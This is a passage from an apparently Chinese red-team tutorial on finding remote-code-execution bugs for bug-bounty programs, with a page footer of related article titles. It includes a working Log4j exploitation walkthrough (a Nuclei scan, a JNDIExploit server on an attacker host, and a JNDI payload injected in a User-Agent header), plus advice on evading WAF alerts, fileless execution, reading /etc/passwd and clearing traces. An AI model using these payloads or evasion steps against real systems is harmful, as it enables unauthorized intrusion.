SRC 平台提供某企业资产列表(含 100 个域名),目标是快速找到 RCE 漏洞。

实施步骤

  1. 批量筛选 Log4j 风险资产)

    
    

用Nuclei批量检测Log4j漏洞

nuclei -l src-targets.txt -t templates/cves/2021/CVE-2021-44228.yaml -silent -o log4j-vuln.txt

   
结果:发现`http://app.target.com:8080`存在 Log4j 漏洞(Nuclei 标记为 VULNERABLE)。2. **精准验证 RCE**:1. 攻击者 VPS 启动 JNDIExploit:```bash
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 1.2.3.4 -p 8888
  1. 用 Burp 拦截http://app.target.com:8080/login请求,在User-Agent头注入 Payload:

       User-Agent: ${jndi:rmi://1.2.3.4:1099/Exploit?cmd=whoami}
    
  2. 发送请求,JNDIExploit 日志显示 “Command executed successfully”,响应中包含nt authority\system(证明高权限 RCE)。

  3. 留存证据并提交

    1. 截图 Burp 的 “请求头(含 Payload)” 和 “响应结果(含 whoami 输出)”;
    2. 截图 JNDIExploit 的命令执行日志;

十一、SRC 中 RCE 挖掘的避坑指南

  1. 避免触发告警
    • 不执行nmap -p-全端口扫描(用-p 80,443,8080,8443等常见端口);
    • 不落地大文件(如meterpreter.exe),优先用 “无文件执行”(如ping外带、内存马);
    • 控制请求频率(每秒≤1 次),避免被 WAF 判定为攻击。
  2. 不纠结 “低价值 RCE”
    • 若 RCE 权限为www-data且无提权路径,仅能执行whoami,SRC 评分可能较低(5-7 分),可优先寻找高权限 RCE;
    • 若目标是 “测试环境”,即使存在 RCE,SRC 可能不收录,需提前确认资产类型。
  3. 及时跟进漏洞修复
    • 提交漏洞后,定期查看 SRC 状态(如 “已确认”“已修复”);
    • 若漏洞未修复,可补充 “利用该 RCE 获取敏感数据” 的证明(如读取/etc/passwd),提升评分。

十二、总结

RCE 漏洞是渗透测试与红队实战中的 “核武器”,其危害等级与利用价值均居所有漏洞之首。理解 RCE 的核心原理(输入可控→代码执行),掌握 “验证→getshell→提权→横向→持久化” 的标准化利用链路,熟练使用 MSF、Cobalt Strike、JNDIExploit 等工具,是红队工程师的必备能力。

在护网行动中,RCE 的使用需遵循 “合法、高效、隐蔽” 三大原则:仅在授权范围内测试,快速获取高价值凭证,及时清理痕迹。只有这样,才能在红蓝对抗中高效拿分,同时规避法律与合规风险。

重要提示:所有 RCE 漏洞测试必须在书面授权下进行,未经授权的 RCE 攻击涉嫌违反《网络安全法》《刑法》第 285/286 条,需自行承担法律责任。

http://www.dtcms.com/a/481861.html

相关文章:

  • VScode无法获取扩展 Error while fetching extensions.Failed to fetch
  • 用 Docker + Squoosh 打造图片压缩 API 服务
  • 仙桃网站设计公司易拉罐手工制作大全
  • 企业级DevOps选型新思维:从“工具堆砌”到“平台赋能”
  • ThinkPHP8集成RabbitMQ的完整案例实现 原创
  • 一份关于语言模型对齐的技术论述:从基于PPO的RLHF到直接偏好优化
  • 扬州市建设厅网站网站空间在哪里
  • 开源 C++ QT QML 开发(十九)多媒体--音频录制
  • json转excel python
  • 在传输数据时,网络中会出现的问题
  • jenkins在使用中遇到的问题
  • 第8章 zynq uboot更新系统镜像并引导启动和个人心得
  • 网站系统升级建设合同汽车之家官网首页网页
  • 电销外包公司有哪些seo学习网站
  • 基于弱监督病灶增强的模型展开式快速磁共振成像|文献速递-文献分享
  • 十四、OpenCV中的形态学操作
  • 算法279. 完全平方数
  • Prometheus pushgateway学习
  • MySQL索引结构:B树与B+树
  • 进程的基本认识
  • Webpack 打包优化与骨架屏结合:双管齐下提升前端性能与用户体验
  • 鸿蒙:在沙箱目录下压缩或解压文件
  • 智能SQL客户端Chat2DB技术解析
  • 电影网站推广什么是网络营销的主要职能之一
  • Transformers库用法示例:解锁预训练模型的强大能力
  • 大气污染扩散calpuff模型:数据预处理、Calmet气象模块、Post Tools 后处理工具及绘图工具
  • 用气安全与能效优化平台
  • 02117 信息组织【第三章】
  • 自己建设淘宝客网站需要备案么wordpress插件 投票
  • Wireshark 4.4.9 设置为中文界面方法